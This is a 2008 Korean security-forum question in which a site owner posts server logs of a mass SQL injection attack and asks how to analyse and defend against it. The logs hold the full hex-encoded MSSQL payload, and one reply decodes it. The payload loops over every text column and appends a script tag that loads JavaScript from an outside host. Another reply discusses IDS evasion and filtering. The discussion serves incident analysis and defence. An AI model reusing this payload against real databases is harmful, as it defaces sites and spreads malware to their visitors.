크래킹 피해

423,

1/22

youngman0707

sql인젝션문제인데요...코드분석점 부탁드립니다..

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_recover&no=382 [복사]

%20AnD%20(sElEcT%20ChAr(94)%2BcAsT(CoUnT(1)%20aS%20VaRcHaR(100))%2bChAr(94)%20fRoM%20[mAsTeR]..[sYsDaTaBaSeS])>0 - 122.45.18.42 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) ASPSESSIONIDCQCSDCSB=OBFDPLNCPMBGDLJKJNOHNIBO 200
'%20AnD%20(sElEcT%20ChAr(94)%2BcAsT(CoUnT(1)%20aS%20VaRcHaR(100))%2bChAr(94)%20fRoM%20[mAsTeR]..[sYsDaTaBaSeS])>0%20AnD%20''=' - 122.45.18.42 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) ASPSESSIONIDCQCSDCSB=OBFDPLNCPMBGDLJKJNOHNIBO 200
%25'%20AnD%20(sElEcT%20ChAr(94)%2BcAsT(CoUnT(1)%20aS%20VaRcHaR(100))%2bChAr(94)%20fRoM%20[mAsTeR]..[sYsDaTaBaSeS])>0%20And%20'%25'=' - 122.45.18.42 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) ASPSESSIONIDCQCSDCSB=OBFDPLNCPMBGDLJKJNOHNIBO 200
;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F732E6361776A622E636F6D2F732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);-- - 122.45.18.42 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) ASPSESSIONIDCQCSDCSB=OBFDPLNCPMBGDLJKJNOHNIBO 200
';dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F732E6361776A622E636F6D2F732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);-- - 122.45.18.42 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) ASPSESSIONIDCQCSDCSB=OBFDPLNCPMBGDLJKJNOHNIBO 200
%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F732E6361776A622E636F6D2F732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=

Hit : 3765 Date : 2008/11/10 03:27


youngman0707	제가 지식이얕아서 ..이런거발생했을때..어떻게 분석..그리고 보안해야되는지 ..고수님들의 잡다한 한말씁부탁드립니다.. 잡다한 한말씁이 저에겐 큰힘이됩니다.. 오늘도 즐거운 하루보내세요..	2008/11/10
초딩해커	훔.. 횽아 참 험난하구나.. 횽 php좀 할줄알아? <? echo(urldecode("$str")); ?> 위 이상한 문자열을 요기 $str 인자로 전달하면 좀 마음이 안정될꼬야	2008/11/10
pr0sp3r	헤더부분은 날리고 실제 공격 쿼리는 0x부터 헥사값변조후 urndecode 하면아래와 같이 됩니다.<br /> <br /> %' ;dEcLaRe @S VaRcHaR(4000) SeT @s=DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE [' @T '] SET [' @C ']=RTRIM(CONVERT(VARCHAR(4000),[' @C '])) ''<script src=http://s.cawjb.com/s.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Curso aS VaRcHaR(4000));eXeC(@s);-- aNd '%'=	2008/11/11
k1rha	요즘 이코드 정말 자주보게 되네요 ㅋㅋ mass sql injection 공격인데요, 실제로 방어법은 원천적으로 sql injection 방어법과 같습니다만, mass sql 의 화두가 된이유는 IDS IPS 를 우회 할수 있다는 점입니다. 이점을 비롯해 방어법을 설명드리자면 필터링 구문에 mass sql 만의 구문을 필터링 해주면 된다고 하더군요 ...	2008/11/14

423

리눅스 시스템 해킹을 배우고싶은 컴공2개월 새내기입니다[9]

morieye

01/10

3401

422

마이쿼리 해킹

dlaudgkr

12/07

5455

421

와이파이 해킹[1]

LK7C SINEAD

09/17

3894

420

DB 가 해킹당했습니다.[5]

gilm1209

11/26

4156

419

이런 경우 아이디해킹 스팸으로 공격하면 안되는 건가요?[2]

writed

07/21

3599

418

개인 pc 보안점검 관련해서[1]

braveman2

08/06

3708

417

어느 질문방에 올려야 되는지 몰라서요~ 고수님들 도움부탁드려요~[1]

osssy

05/18

3222

416

해킹당한건지 아닌건지 확실하게 아는 방법 없나요?[2]

juh11

05/17

3848

415

windows2003 라우팅및 원격 액세스 해킹[1]

geneve27

04/26

5234

414

모르는 ip가 접근해왔는데 좀 봐주세요[4]

Gloverman

01/09

6068

413

해킹한다고 문자가 왔는데요[9]

yakida1940

10/03

4859

412

해킹당한거같아요[3]

dmscks1

07/15

4213

411

제가 .. 해커 한테 당했는데요 .. 지금 IP 도 따인 상태라 마우스랑 키보드가 ..[7]

zjafkays

07/06

5333

410

해킹을 당한것 같아요.....[5]

gkswls123

06/22

4461

409

도와주세요 ㅠㅠ[2]

wnm1234

05/17

3976

408

도와주세요.[2]

sdc04303

05/07

4865

407

여기에 써도 되는지 모르겠는데요 www.xindpkz.com 이것 때문에요 내용있습니다.[4]

nmy89

04/10

5846

406

Gmail을 해킹당해서 사용하지 못하고 있습니다.[3]

hoaxinh

02/07

5076

405

ㅠㅠㅠ[5]

씨에르

01/30

4324

404

아는 누님께서 스토킹(?)당하시는 듯 한데요..[3]

dokokou

01/22

6005

1 [2][3][4][5][6][7][8][9][10]..[22]